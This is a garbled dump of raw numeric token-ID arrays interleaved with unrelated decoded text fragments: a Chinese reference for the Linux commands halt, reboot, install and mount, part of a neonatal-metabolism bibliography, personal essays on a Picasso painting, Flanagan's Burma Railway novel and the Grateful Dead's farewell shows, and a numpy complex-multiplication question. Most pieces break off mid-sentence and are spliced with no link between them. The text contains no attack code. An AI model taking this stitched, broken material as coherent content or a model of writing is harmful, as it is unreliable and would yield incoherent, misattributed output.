111, 38563, 44246, 103, 32938, 42205, 7249, 218, 6238, 29297, 30808, 43216, 37373, 39465, 27727, 27258, 123, 6238, 26772, 209, 44246, 103, 32938, 42205, 7249, 218, 18245, 213, 16740, 17492, 29766, 29427, 6238, 29297, 33018, 18751, 221, 39465, 26772, 21991, 27896, 28154, 14318, 232, 24370, 14129, 125, 49271, 4340, 18245, 213, 16740, 27896, 42205, 7249, 218, 29463, 16285, 18617, 123, 5690, 99, 4340, 13610, 29463, 16285, 20622, 16401, 34811, 5690, 99, 22975, 6238, 16787, 113, 45508, 18764, 43216, 34609, 34260, 20720, 44157, 36168, 49288, 32165, 43136, 18140, 18764, 27727, 27258, 123, 25949, 209, 44795, 5225, 42522, 44126, 12755, 242, 35498, 34380, 4746, 18764, 27727, 27258, 123, 25949, 44795, 5225, 42205, 7249, 218, 28610, 16998, 110, 40658, 18764, 37373, 42205, 7249, 218, 27727, 27258, 123, 22044, 20833, 105, 16401, 28154, 14318, 232, 20720, 4340, 187, 14236, 18, 14106, 32490, 33018, 11894, 217, 6765, 106, 5225, 42522, 44126, 12755, 242, 187, 27739, 217, 7464, 5325, 16, 4185, 36548, 12335, 5225, 39, 1194, 4567, 42522, 44126, 12755, 242, 18140, 87, 19397, 209, 3193, 238, 187, 27739, 217, 12932, 20483, 16, 6914, 209, 5225, 42522, 44126, 12755, 242, 18140, 2649, 3671, 209, 3193, 238, 187, 27739, 217, 9485, 16, 19, 12335, 5225, 42522, 44126, 12755, 242, 18140, 28368, 3671, 3193, 238, 187, 27739, 217, 13492, 12335, 5225, 42522, 44126, 12755, 242, 18140, 2068, 19, 4746, 2068, 20, 3193, 238, 187, 27739, 217, 3437, 14, 34940, 7056, 220, 13764, 235, 12335, 5225, 42522, 44126, 12755, 242, 18140, 14699, 4196, 1549, 4340, 187, 46982, 123, 38389, 87, 19397, 12105, 34811, 39, 1194, 4567, 44126, 12755, 242, 6238, 43300, 22010, 36750, 16740, 39465, 35724, 7056, 122, 41683, 39, 1194, 1668, 5225, 42522, 44126, 12755, 242, 35498, 34380, 4340, 187, 14236, 19, 14106, 49835, 108, 17576, 42205, 7249, 218, 5225, 28610, 16998, 110, 187, 13610, 32490, 13609, 6238, 209, 42205, 7249, 218, 28610, 16998, 110, 27804 ]

* －f：强迫关机，不呼叫shutdown这个指令。 * －p: 当关机的时候顺便做关闭电源的动作。 * －d：关闭系统，但不留下纪录。 4.命令说明 halt就是调用shutdown －h。halt执行时，杀死应用进程，执行sync(将存于buffer中的资料强制写入硬盘中)系统调用，文件系统写操作完成后就会停止内核。若系统的运行级别为0或6，则关闭系统；否则以shutdown指令（加上－h参数）来取代。 ## reboot 1.作用 reboot命令的作用是重新启动计算机，它的使用权限是系统管理者。 2.格式 reboot [－n] [－w] [－d] [－f] [－i] 3.主要参数 * －n: 在重开机前不做将记忆体资料写回硬盘的动作。 * －w: 并不会真的重开机，只是把记录写到/var/log/wtmp文件里。 * －d: 不把记录写到/var/log/wtmp文件里（－n这个参数包含了－d）。 * －i: 在重开机之前先把所有与网络相关的装置停止。 ## install 1.作用 install命令的作用是安装或升级软件或备份数据，它的使用权限是所有用户。 2.格式 (1)install [选项]… 来源目的地 (2)install [选项]… 来源… 目录 (3)install －d [选项]… 目录… 在前两种格式中，会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>，同时设定权限模式及所有者/所属组。在第三种格式中，会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。 3.主要参数 * -－backup[=CONTROL]：为每个已存在的目的地文件进行备份。 * -b：类似－－backup，但不接受任何参数。 * -c：(此选项不作处理)。 * -d，－－directory：所有参数都作为目录处理，而且会创建指定目录的所有主目录。 * -D：创建<目的地>前的所有主目录，然后将<来源>复制至 <目的地>；在第一种使用格式中有用。 * -g，－－group=组：自行设定所属组，而不是进程目前的所属组。 * -m，－－mode=模式：自行设定权限模式 (像chmod)，而不是rwxr－xr－x。 * -o，－－owner=所有者：自行设定所有者 (只适用于超级用户)。 * -p，－－preserve－timestamps：以<来源>文件的访问/修改时间作为相应的目的地文件的时间属性。 * -s，－－strip：用strip命令删除symbol table，只适用于第一及第二种使用格式。 * -S，－－suffix=后缀：自行指定备份文件的<后缀>。 * -v，－－verbose：处理每个文件/目录时印出名称。 * -－help：显示此帮助信息并离开。 * -－version：显示版本信息并离开。 mount 1.作用 mount命令的作用是加载文件系统，它的用权限是超级用户或/etc/fstab中允许的使用者。 2.格式 mount －a [－fv] [－t vfstype] [－n] [－rw] [－F] device dir 3.主要参数 * -h：显示辅助信息。 * -v：显示信息，通常和－f用来除错。 * -a：将/etc/fstab中定义的所有文件系统挂上。 * -F：这个命令通常和－a一起使用，它会为每一个mount的动作产生一个行程负责执行。在系统需要挂上大量NFS文件系统时可以加快加载的速度。 * -f：通常用于除错。它会使mount不执行实际挂上的动作，而是模拟整个挂上的过程，通常会和－v一起使用。 * -t vfstype：显示被加载文件系统的类型。 * -n：一般而言，mount挂上后会在/etc/mtab中写入一笔资料，在系统中没有可写入文件系统的情况下，可以用这个选项取消这个动作。 4.应用技巧在Linux和Unix系统上，所有文件都是作为一个大型树（以/为根）的一部分访问的。要访问CD-ROM上的文件，需要将CD-ROM设备挂装在文件树中的某个挂装点。如果发行版安装了自动挂装包，那么这个步骤可自动进行。在Linux中，如果要使用硬盘、光驱等储存设备，就得先将它加载，当储存设备挂上了之后，就可以把它当成一个目录来访问。挂上一个设备使用mount命令。在使用mount这个指令时，至少要先知道下列三种信息：要加载对象的文件系统类型、要加载对象的设备名称及要将设备加载到哪个目录下。（1）Linux可以识别的文件系统 ◆ Windows 95/98常用的FAT 32文件系统：vfat ； ◆ Win NT/2000 的文件系统：ntfs ； ◆ OS/2用的文件系统：hpfs； ◆ Linux用的文件系统：ext2、ext3； ◆ CD-ROM光盘用的文件系统：iso9660。虽然vfat是指FAT 32系统，但事实上它也兼容FAT 16的文件系统类型。（2）确定设备的名称在Linux中，设备名称通

[ 613, 2191, 13, 657, 15, 575, 4015, 86, 29935, 13, 401, 15, 575, 16490, 408, 302, 13, 329, 15, 36, 15, 17311, 3115, 13, 353, 15, 575, 6148, 416, 11517, 13, 401, 15, 575, 53, 709, 91, 13, 500, 15, 41, 15, 17650, 13, 285, 401, 15, 43, 15, 3889, 14474, 790, 257, 15, 380, 3426, 544, 38, 1181, 2737, 266, 9600, 327, 29901, 7151, 251, 21576, 27, 6120, 285, 1971, 15, 1157, 1249, 27, 19603, 13, 4240, 15, 187, 187, 34, 15, 575, 8469, 46668, 24535, 13, 367, 15, 575, 59, 29982, 5021, 13, 309, 15, 575, 36, 21432, 13, 367, 15, 575, 49, 343, 16078, 13, 399, 15, 575, 47, 15916, 13, 353, 15, 575, 47, 4953, 1079, 13, 418, 15, 575, 47314, 395, 21037, 13, 285, 443, 15, 575, 30206, 636, 4692, 15, 10330, 285, 7914, 273, 40281, 68, 1596, 262, 460, 10104, 275, 14245, 2614, 6308, 285, 6532, 273, 35839, 285, 2120, 14, 3945, 48842, 15, 1157, 10484, 9, 18, 1253, 18, 2262, 1812, 1253, 2504, 13, 4104, 15, 187, 187, 44, 15, 575, 39440, 13, 322, 15, 575, 35034, 3612, 13, 416, 15, 575, 37, 38130, 1405, 13, 378, 15, 44, 15, 28753, 13, 500, 15, 575, 25392, 13, 378, 15, 575, 1044, 860, 67, 5353, 13, 285, 367, 15, 575, 1779, 518, 37588, 430, 90, 15, 6365, 22386, 19177, 273, 638, 2056, 5051, 27, 1783, 273, 6127, 273, 8898, 9532, 13, 12807, 13, 285, 35527, 9588, 407, 9050, 273, 34522, 2363, 15, 1157, 6879, 27, 25140, 1253, 29546, 13, 4059, 15, 187, 187, 20941, 15, 716, 575, 32893, 640, 13, 5642, 15, 3889, 575, 3354, 14181, 6426, 13, 22533, 15, 411, 1595, 303, 6736, 13, 500, 40, 15, 16251, 1944, 24044, 13, 285, 500, 35, 15, 3889, 443, 2995, 80, 972, 15, 45816, 80, 3527, 5286, 281, 20346, 15330, 3587, 846, 4201, 15, 1157, 20825, 27, 28744, 1253, 33597, 13, 5826, 15, 187, 187, 44, 15, 575, 47, 636, 25531, 257, 13, 443, 15, 575, 39, 23268, 13, 285, 367, 15, 575, 7047, 40565, 14356, 15, 44892, 2603, 9712, 323, 5889, 267, 673, 2962, 15, 1157, 7223, 337, 1253, 1797, 13, 9169, 15, 187, 33, 2948, 49173, 2420, 14, 6082, 15, 1026, 859, 3664, 187, 42, 369, 627, 281, 1859, 271, 20849, 273, 20858, 285, 20937, 407, 253, 11596, 9558, 22723, 46661, 314, 15, 1284, 309, 7428, 1475, 253, 2620, 9956, 13, 512, 11859, 285, 2317, 285, 439, 47587, 13, 309, 3543, 31564, 1108, 407, 643, 12942, 13, 6046, 13, 253, 24476, 723, 273, 253, 3988, 17269, 15, 2726, 253, 6517, 273, 581, 390, 767, 7437, 309, 3543, 387, 13653, 342, 253, 15646, 15, 187, 187, 49, 30662, 20424, 26341, 13, 31246, 37132, 27, 329, 1314, 70, 80, 4559, 48148, 27510, 313, 20119, 432, 10440, 10, 187, 187, 6693, 4602, 309, 3543, 369, 16487, 13, 1073, 2784, 275, 285, 562, 15, 187, 187, 35, 2149, 13, 285, 8489, 34639, 13, 309, 1669, 15, 1284, 309, 858, 594, 13, 285, 342, 673, 281, 5159, 13, 309, 8344, 253, 21778, 457, 84, 3148, 273, 2987, 432, 697, 9928, 4849, 15, 2667, 981, 309, 457, 69, 452, 247, 3158, 17834, 387, 253, 21778, 457, 84, 5536, 14, 73, 4069, 13, 380, 21525, 273, 2828, 13, 309, 12293, 275, 15, 187, 187, 510, 2639, 580, 45824, 369, 627, 13, 2112, 342, 247, 8788, 273, 643, 20858, 432, 253, 1458, 394, 281, 253, 1384, 394, 14020, 15, 733, 1160, 323, 247, 17127, 13, 604, 417, 7765, 14, 737, 22590, 13, 1384, 2909, 15, 187, 187, 5872, 13, 347, 309, 369, 13828, 281, 3553, 13, 627, 352, 369, 15, 27922, 253, 2457, 2316, 285, 17421, 247, 30231, 273, 1384, 394, 5331, 2987, 13, 10416, 11706, 7813, 342, 247, 18150, 15141, 15, 10400, 4911, 23767, 285, 23543, 342, 21609, 10688, 253, 13497, 396, 4219, 4116, 15, 48474, 4817, 347, 309, 9919, 281, 10711, 619, 1039, 1475, 46482, 20424, 26341, 457, 84, 789, 1108, 689, 253, 11636, 273, 9279, 13, 2439, 253, 8995, 11996, 13, 598, 949, 253, 43031, 5464, 273, 253, 7139, 3345, 15, 187, 187, 1147, 1669, 271, 13214, 347, 24863, 387, 253, 1708, 273, 21587, 14, 24139, 14, 49, 968, 1108, 1014, 2167, 352, 457, 84, 247, 2360, 1335, 14, 8206, 15, 187, 187, 37132, 26341, 3562, 253, 789, 387, 21587, 14, 24139, 14, 49, 968, 275, 253, 5768, 273, 32921, 13, 247, 807, 846, 13447, 1204, 574, 644, 8884, 3846, 15, 3105, 594, 13, 344, 16264, 15, 187, 187, 1989, 247, 34406, 273, 253, 789, 310, 275, 33132, 15, 1284, 444, 2369, 4860, 13, 253, 1318, 273, 6306, 1078, 11706, 7813, 342, 247, 18150, 15141, 8696, 3345, 253, 13497, 13, 275, 253, 14021, 309, 16, 5658, 1928, 15, 187, 187, 14660, 13, 1708, 13, 5768, 13, 3440, 13, 8995, 13, 9279, 1108, 512, 253, 1175, 13, 2032, 285, 1774, 1841, 403, 1060, 13, 6345, 285, 7171, 285, 30601, 15, 187, 187, 510, 13497, 457, 84, 327, 3148, 1919, 253, 990, 273, 253, 807, 15, 12238, 247, 1007, 1108, 352, 778, 9632, 1633, 15, 187, 187, 1898, 273, 326, 847, 1730, 267, 23737, 13, 3033, 1417, 285, 14205, 13, 253, 33178, 285, 1268, 31500, 20061, 2080, 1977, 15, 4683, 21474, 13702, 285, 3846, 1821, 13, 512, 326, 6376, 369, 1048, 10583, 15, 187, 187, 12978, 359, 320, 12659, 846, 776, 8923, 32, 3824, 17646, 13, 323, 954, 273, 441, 13, 588, 320, 18414, 281, 253, 12959, 273, 7636, 4394, 285, 3858, 15, 1284, 597, 1509, 13, 594, 752, 4558, 273, 441, 38391, 1768, 1977, 15, 187, 187, 6067, 38634, 778, 4456, 441, 13, 776, 1270, 14, 26852, 13863, 778, 1239, 776, 4454, 2716, 247, 5331, 7613, 13, 533, 407, 840, 597, 457, 620, 2779, 320, 34209, 13, 1355, 417, 2706, 275, 2892, 15, 1535, 1951, 15, 187, 187, 510, 3104, 1840, 403, 432, 7727, 2884, 266, 12043, 457, 84, 380, 427, 2501, 8669, 1916, 380, 18147, 3729, 13, 247, 4460, 534, 31444, 253, 2793, 273, 9943, 16154, 273, 2137, 6726, 281, 1973, 253, 32566, 7634, 785, 14645, 23419, 275, 253, 6347, 3645, 3660, 15, 187, 187, 21911, 310, 387, 253, 5161, 273, 253, 1984, 1108, 253, 9647, 457, 12959, 273, 1728, 1309, 616, 19841, 285, 616, 12959, 273, 253, 18217, 13, 285, 1016, 643, 13, 8007, 1996, 13, 347, 1821, 275, 253, 1390, 1708, 273, 1495, 15, 187, 187, 688, 347, 1199, 347, 352, 476, 320, 15494, 327, 13, 3541, 310, 247, 6486, 2181, 13, 247, 7741, 326, 6613, 1066, 13, 751, 776, 1107, 15, 187, 187, 49, 4290, 84, 23157, 3540, 387, 416, 790, 74, 13, 7634, 785, 275, 23430, 15, 187, 187, 1898, 594, 247, 1270, 1966, 22145, 1108, 253, 5140, 273, 247, 18217, 2167, 34695, 10771, 273, 7701, 528, 20856, 25061, 275, 816, 1903, 2607, 387, 253, 2105, 273, 12036, 13, 933, 4852, 1108, 269, 3355, 275, 253, 2564, 15, 4952, 436, 13, 271, 2793, 625, 711, 26368, 273, 10409, 43481, 685, 954, 13, 581, 273, 28473, 457, 84, 23180, 22476, 1658, 1041, 13, 42282, 1977, 15, 187, 187, 1147, 4961, 275, 42628, 569, 13, 275, 5861, 285, 275, 7968, 15, 1292, 841, 403, 34965, 13, 2344, 3549, 3205, 273, 6612, 15, 4952, 253, 1821, 665, 6940, 352, 13, 347, 2884, 266, 12043, 31444, 731, 13, 1089, 352, 1892, 281, 4456, 512, 253, 4278, 347, 597, 2746, 253, 990, 273, 616, 4852, 15, 187, 187, 38905, 2884, 266, 12043, 457, 84, 1984, 6505, 581, 342, 247, 1524, 5837, 15, 1310, 253, 3541, 273, 271, 2362, 259, 469, 347, 253, 3652, 273, 253, 7634, 785, 23419, 13, 285, 253, 1821, 3206, 13, 269, 3355, 752, 3524, 310, 627, 326, 667, 273, 441, 588, 320, 12659, 846, 359, 1509, 32, 187, 187, 1552, 8849, 13, 846, 2456, 1107, 273, 3440, 285, 767, 8007, 327, 432, 253, 2471, 273, 21122, 26424, 13, 253, 3236, 2758, 273, 253, 1997, 366, 1020, 16631, 588, 1379, 281, 253, 3924, 323, 253, 1390, 673, 15, 187, 187, 39, 507, 387, 8068, 457, 84, 29668, 1321, 7327, 1108, 690, 273, 5207, 5087, 370, 883, 13, 933, 323, 616, 2087, 11341, 13571, 1108, 476, 1902, 247, 4797, 3845, 16631, 3045, 27, 1740, 3038, 273, 3440, 13, 4270, 1475, 253, 24455, 14, 2050, 2231, 1220, 375, 285, 2317, 5561, 480, 1317, 326, 253, 3961, 457, 84, 2489, 30101, 323, 689, 253, 2469, 2716, 5331, 15, 187, 187, 2214, 690, 352, 457, 84, 253, 990, 273, 271, 8685, 13, 581, 26415, 275, 247, 11994, 84, 5003, 10765, 326, 3133, 37593, 4360, 13392, 432, 4104, 15, 1198, 2571, 352, 457, 84, 2802, 14958, 597, 417, 16384, 598, 1107, 3622, 457, 32, 187, 187, 2214, 1110, 273, 441, 275, 875, 13, 352, 457, 84, 247, 1083, 273, 11134, 19063, 32836, 4283, 281, 247, 2836, 949, 253, 31523, 15, 187, 187, 3980, 13, 347, 7245, 12469, 257, 4159, 327, 253, 2471, 273, 4321, 8928, 10864, 27, 773, 34, 1643, 8014, 588, 1158, 273, 436, 1388, 187, 284, 581, 11121, 273, 247, 1388, 672, 581, 858, 1633, 5777, 11555, 6598, 187, 187, 3220, 1211, 5016, 342, 253, 16631, 457, 84, 3440, 310, 13, 407, 247, 7989, 457, 84, 7465, 387, 1878, 13, 32981, 1598, 3710, 15, 496, 958, 352, 457, 84, 7194, 1754, 1475, 767, 16258, 13, 247, 4667, 273, 25752, 14, 3487, 19463, 19654, 4439, 1561, 2620, 2607, 273, 1016, 643, 275, 10333, 1108, 21919, 1342, 457, 84, 16631, 285, 2448, 36974, 15, 187, 187, 14358, 497, 5950, 387, 247, 673, 672, 253, 3961, 369, 762, 4832, 285, 643, 19919, 1108, 6778, 12029, 73, 1996, 27513, 264, 849, 6911, 20189, 457, 84, 24591, 281, 14423, 4683, 21398, 497, 11797, 407, 253, 8351, 9749, 273, 12029, 73, 457, 84, 3392, 15, 50, 27, 187, 187, 688, 32474, 36950, 2570, 25219, 1543, 187, 187, 16628, 253, 1563, 13814, 2127, 326, 18878, 447, 767, 2570, 3904, 27, 187, 2948, 36950, 347, 15749, 187, 66, 426, 15749, 15, 6674, 2073, 23025, 1706, 18486, 15, 740, 2504, 2759, 1867, 12, 23025, 1706, 18486, 15, 740, 2504, 2759, 1812, 75, 8539, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 67, 426, 15749, 15, 6674, 2073, 14, 18, 15, 26221, 1093, 12730, 70, 12, 2693, 12, 18, 15, 26221, 1093, 12730, 70, 12, 2693, 75, 8539, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 187, 4, 10754, 1419, 2193, 187, 3845, 9, 66, 10, 187, 3845, 9, 67, 10, 187, 187, 68, 30, 18650, 15, 5256, 9, 66, 15, 788, 53, 5715, 67, 10, 187, 187, 4, 10754, 1419, 1885, 187, 3845, 9, 68, 10, 187, 187, 4125, 253, 1885, 943, 320, 428, 24, 15, 26, 2787, 1423, 28879, 18359, 2357, 1619, 933, 70, 12, 1036, 559, 5693, 75, 534, 310, 3451, 672, 309, 1408, 327, 48156, 491, 15, 1723, 13, 604, 309, 4763, 253, 2193, 247, 285, 270, 432, 247, 22647, 281, 247, 11452, 3066, 45063, 327, 271, 45063, 21, 4789, 2086, 313, 42, 12654, 326, 597, 452, 644, 2959, 9113, 10, 253, 1885, 310, 3430, 285, 5742, 428, 24, 15, 26, 2787, 20694, 520, 70, 12, 1036, 12, 23025, 22543, 1036, 15, 75, 15, 496, 1097, 2219, 309, 717, 970, 36950, 337, 15, 1047, 15, 20, 285, 13814, 374, 15, 24, 15, 1047, 15, 380, 760, 3064, 275, 253, 6158, 1083, 310, 326, 2720, 281, 6883, 253, 2193, 309, 26641, 253, 12624, 342, 27, 187, 66, 426, 15749, 15, 11004, 64, 3022, 9, 18650, 15, 6674, 8850, 60, 17, 62, 5355, 18, 10, 323, 891, 275, 2491, 9, 18, 10, 3291, 481, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 67, 426, 15749, 15, 11004, 64, 3022, 9, 18650, 15, 6674, 8850, 60, 17, 62, 5355, 18, 10, 323, 891, 275, 2491, 9, 18, 10, 3291, 481, 505, 1692, 9, 18650, 15, 19017, 8196, 10, 187, 187, 395, 840, 253, 1159, 45063, 1450, 25600, 1450, 42, 46376, 1082, 4245, 731, 253, 3451, 2193, 15, 187, 1276, 310, 1469, 3430, 275, 253, 6158, 1083, 604, 253, 247, 285, 270, 403, 3451, 533, 260, 310, 3430, 32, 1680, 36950, 29607, 4758, 253, 21833, 629, 1580, 352, 434, 3240, 4577, 685, 253, 1524, 629, 273, 253, 1885, 32, 187, 187, 34, 27, 187, 187, 6407, 13, 436, 2506, 626, 2953, 253, 23542, 5017, 13, 533, 1580, 352, 369, 5439, 275, 5701, 27, 187, 18650, 15, 6674, 476, 3936, 247, 2876, 4154, 13, 285, 4711, 247, 31437, 4315, 432, 352, 15, 50276, 9917, 4366, 326 ]

earney, V. Leuzzi, F. Maillot, A.C. Muntau, M. van Rijn, F. Trefz, J.H. Walter, and F.J. van Spronsen. The complete [E]{}uropean guidelines on phenylketonuria: diagnosis and treatment., 12:162, 2017. A. Gucciardi, P. Zaramella, I. Costa, P. Pirillo, D. Nardo, M. Naturale, L. Chiandetti, and G. Giordano. Analysis and interpretation of acylcarnitine profiles in dried blood spot and plasma of preterm and full-term newborns., 77(1–1):36–47, 2015. K. Wilson, S. Hawken, R. Ducharme, B.K. Potter, J. Little, B. Thébaud, and P. Chakraborty. Metabolomics of prematurity: analysis of patterns of amino acids, enzymes, and endocrine markers by categories of gestational age., 75:367–373, 2014. FW. te Braake, CH. van den Akker, DJ. Wattimena, JG. Huijmans, and JB. van Goudoever. Amino acid administration to premature infants directly after birth., 147:457–461, 2005. K. Nordhausen, G. Fischer, and P. Filzmoser. Blind source separation for compositional time series., pages 1–21, 2020. @import "./table-object.scss"; I was there to view an exhibition of paintings and photography by the Irish artist Sean Scully. As I walked around the five rooms, all concrete and space and shuffling, I felt distracted – by other visitors, noise, the whisperings of the security guards. With the exception of one or two pieces I felt at odds with the exhibits. Pablo Picasso, 1916Pic: Amedeo Modigliani (detail from photograph) Any connection I felt was faint, dipping in and out. Bored, and somewhat annoyed, I left. As I did so, and with time to kill, I noticed the Gallery’s display of works from its permanent collection. Figuring I’d have a quick glance at the Gallery’s heavy-hitter, The Taking of Christ, I stepped in. The Caravaggio was there, along with a wealth of other paintings from the 15th to the 20th centuries. It made for a pleasant, if not soul-grabbing, 20 minutes. Then, as I was preparing to leave, there it was. Near the final room and amid a clutch of 20th century works, hung Still Life with a Mandolin. Perspective bending and saturated with Mediterranean colour the painting seizes attention. Minutes passed as I attempted to trace my way around Pablo Picasso’s work – over the bowl of fruit, across the wine bottle, up through the silhouette of the trees outside. It left an impression as vivid at the light of Juan-Les-Pins – even though it’s a night still-life. Picasso created the work at Juan-Les-Pins in the summer of 1924, a year after Cubism had been declared dead. Not so, he painted. But a biography of the work is inessential. As Eno indicated, the value of standing before Still Life with a Mandolin lies outside the painting, in the emotions I/you feel. Life, light, summer, music, wine, fruit – all the good, true and important things are here, breath and beat and bloom. The painting’s on display until the end of the year. Have a look – it may trigger something. And of that colossal ruin, boundless and buried, the lone and level jungle stretched far away. Of imperial dreams and dead men, all that remained was long grass. Will we be remembered after our deaths? Our legacy, for most of us, will be confined to the memories of loved ones and friends. As they pass, so what remains of us ebbs away. Our grandchildren may remember us, our great-grandchildren may read our names half a century hence, but by then they’ll likely be meaningless, small notches in history. Traces. The lines above are from Richard Flanagan’s The Narrow Road To The Deep North, a novel which depicts the experience of Australian prisoners of war forced to build the notorious Burma Death Railway in the Second World War. Memory is at the core of the book – the soldiers’ memories of home during their imprisonment and their memories of the railway, and each other, decades later, as men in the last light of life. In as much as it can be relied on, memory is a finite thing, a resource that runs down, like our years. POWs laying track at Ronsi, Burma in 1943. And so a great human outrage – the construction of a railway though 415 km of murderous tropical terrain in just 11 months at the cost of 160,000 lives – fades in the mind. Even this, an experience more deserving of remembrance than most, one of mankind’s brutal catastrophes, slips away. It exists in commemorations, in records and in pictures. But these are impressions, facsimiles of reality. Even the men who lived it, as Flanagan depicts them, find it hard to remember all the details as they approach the end of their lives. Reading Flanagan’s book leaves one with a realisation. If the memory of an event wich as the building of the Burma Railway, and the men involved, fades what hope is there that any of us will be remembered after we pass? This weekend, after 50 years of music and two decades on from the death of Jerry Garcia, the original members of the Grateful Dead will take to the stage for the last time. Fans at Chicago’s Soldier Field – some of whom paid $11,000 for their general admission ticket – can expect a blueprint Dead performance: four hours of music, built around the jazz-inflected solos and space rock jams that the band’s become renowned for over the past half century. For some it’s the end of an era, one rooted in a 1960s San Francisco that seems impossibly distant from 2015. For others it’s ‘did they not wrap up years ago’? For those of us in between, it’s a case of mild nostalgia leading to a dig through the archives. Or, as WH Auden wrote on the death of earlier cultural giant: “A few thousand will think of this day as one thinks of a day when one did something slightly unusual”. My own interaction with the Dead’s music is, by a fan’s standards at least, lamentably limited. In fact it’s mainly based around two albums, a pair of stripped-down acoustic recordings released within five months of each other in 1970 – Workingman’s Dead and American Beauty. Both were recorded at a time when the band was under financial and other pressures – Phil Lesh later recounted how Robert Hunter’s lyrics to Box Of Rain were inspired by the terminal illness of Lesh’s father.Q: Inconsistent numpy complex multiplication results Consider the following Python code that multiplies two complex numbers: import numpy as np a = np.matrix('28534314.10478439+28534314.10478436j').astype(np.complex128) b = np.matrix('-1.39818115e+09+1.39818115e+09j').astype(np.complex128) #Verify values print(a) print(b) c=np.dot(a.getT(),b) #Verify product print(c) Now the product should be -7.979228021897728000e+16 + 48j which is correct when I run on Spyder. However, if I receive the values a and b from a sender to a receiver via MPI on an MPI4py program (I verify that they have been received correctly) the product is wrong and specifically -7.97922801e+16+28534416.j. In both cases I am using numpy 1.14.3 and Python 2.7.14. The only difference in the latter case is that prior to receiving the values I initialize the matrices with: a = np.empty_like(np.matrix([[0]*(1) for i in range(1)])).astype(np.complex128) b = np.empty_like(np.matrix([[0]*(1) for i in range(1)])).astype(np.complex128) and then the function MPI::Comm::Irecv() gives them the correct values. What is going wrong in the latter case if the a and b are correct but c is wrong? Is numpy arbitrarily setting the imaginary part since it's quite smaller than the real part of the product? A: First, this doesn't address the mp stuff, but since it was raised in comments: np.matrix can takes a string argument, and produce a numeric matrix from it. Also notice that

[ 187, 34, 7512, 9269, 407, 25811, 217, 243, 28162, 167, 105, 103, 38248, 16857, 113, 115, 35169, 240, 26437, 215, 29333, 232, 1227, 308, 1139, 44007, 3271, 58, 23607, 12626, 1299, 1105, 10270, 15, 28660, 10, 327, 16925, 854, 13, 4022, 387, 495, 27, 3583, 312, 46502, 187, 187, 7542, 253, 1390, 673, 309, 9300, 368, 6068, 327, 4644, 337, 273, 436, 2962, 13, 14861, 353, 10270, 556, 1335, 2568, 281, 3727, 253, 1551, 273, 253, 4849, 15, 844, 858, 1089, 562, 326, 627, 369, 625, 281, 253, 4849, 840, 816, 253, 1133, 1424, 1317, 13, 4076, 398, 285, 2454, 1424, 1317, 342, 253, 643, 1964, 80, 5406, 534, 2722, 441, 326, 627, 403, 625, 367, 1479, 607, 86, 3580, 824, 347, 5541, 246, 23578, 13, 2927, 73, 7240, 5796, 23314, 285, 954, 15538, 13, 330, 27224, 21109, 378, 2925, 58, 2, 187, 187, 41849, 353, 10270, 403, 1335, 1146, 247, 3075, 275, 253, 718, 1580, 352, 310, 2168, 4397, 1638, 285, 597, 1335, 2568, 281, 3727, 619, 26938, 621, 15844, 3105, 760, 326, 13, 309, 574, 281, 3186, 2080, 285, 4618, 281, 1089, 562, 627, 403, 1014, 500, 304, 13233, 81, 2066, 3580, 275, 436, 4849, 347, 973, 2, 309, 668, 78, 7384, 253, 8566, 84, 5046, 690, 1511, 273, 787, 17379, 32, 3105, 2119, 533, 308, 1139, 58, 353, 3271, 58, 5689, 26084, 46632, 6589, 13587, 58, 8717, 309, 20753, 26564, 58, 8017, 4889, 19220, 17450, 367, 8100, 7669, 322, 3489, 16341, 15, 8717, 2933, 7716, 39641, 2, 187, 187, 4015, 3292, 327, 326, 11790, 3877, 13, 326, 20097, 253, 1273, 773, 5371, 457, 84, 747, 275, 611, 14, 1257, 1920, 90, 6598, 33571, 326, 368, 6068, 403, 5130, 272, 347, 973, 32, 733, 3133, 751, 309, 457, 78, 1469, 281, 452, 281, 513, 436, 2962, 2761, 1046, 2129, 342, 253, 2408, 273, 3580, 326, 4850, 4439, 15, 1281, 479, 871, 752, 368, 6068, 1158, 273, 436, 2962, 285, 943, 309, 4035, 352, 15, 187, 187, 2042, 368, 1119, 436, 1501, 9371, 13, 1053, 457, 85, 7740, 281, 3894, 352, 327, 634, 18069, 2675, 3420, 7223, 15, 5220, 1053, 457, 85, 7740, 281, 956, 479, 327, 619, 2675, 3420, 13498, 281, 923, 752, 309, 457, 78, 2509, 285, 752, 309, 457, 78, 2970, 275, 253, 8888, 1163, 37, 15, 21261, 673, 310, 1900, 794, 673, 323, 479, 15, 313, 10983, 7490, 5817, 2387, 187, 187, 48943, 21412, 249, 27, 8280, 15, 9198, 21412, 249, 15, 681, 16, 48266, 1758, 25521, 187, 187, 18446, 27, 8280, 15, 24557, 15, 681, 16, 633, 1758, 25521, 187, 187, 10548, 12068, 27, 1214, 48266, 1758, 25521, 187, 187, 31068, 27, 8280, 15, 16705, 15, 681, 16, 633, 1758, 64, 25521, 187, 187, 49, 14014, 27, 8280, 15, 9852, 6173, 15, 681, 16, 633, 1758, 64, 25521, 605, 831, 1873, 310, 7321, 432, 2634, 30257, 14, 8260, 406, 1938, 14, 3118, 1256, 5295, 187, 605, 50275, 3614, 1358, 7280, 15, 681, 16, 43, 1368, 1136, 265, 38, 67, 413, 16, 30257, 14, 8260, 406, 1938, 14, 3118, 1256, 187, 187, 605, 8283, 313, 68, 10, 4072, 13, 41474, 26100, 413, 285, 7993, 8799, 254, 15, 50276, 3074, 3570, 10827, 15, 187, 605, 10360, 27, 268, 1715, 15, 12081, 254, 33, 23655, 15, 681, 313, 23852, 8799, 254, 10, 187, 605, 10360, 27, 480, 1368, 1136, 265, 33, 2275, 413, 15, 2061, 313, 43, 1368, 1136, 265, 26100, 413, 10, 187, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 9784, 15, 73, 31, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 3118, 2079, 64, 4963, 15, 73, 31, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 72, 16368, 64, 4963, 15, 73, 31, 187, 4, 3709, 654, 601, 6855, 16, 81, 1288, 5902, 16, 6172, 64, 88, 376, 13906, 15, 73, 31, 187, 187, 12361, 30929, 551, 187, 12361, 268, 1288, 5902, 551, 187, 187, 17441, 5065, 2079, 30891, 475, 755, 64, 3118, 2079, 64, 5423, 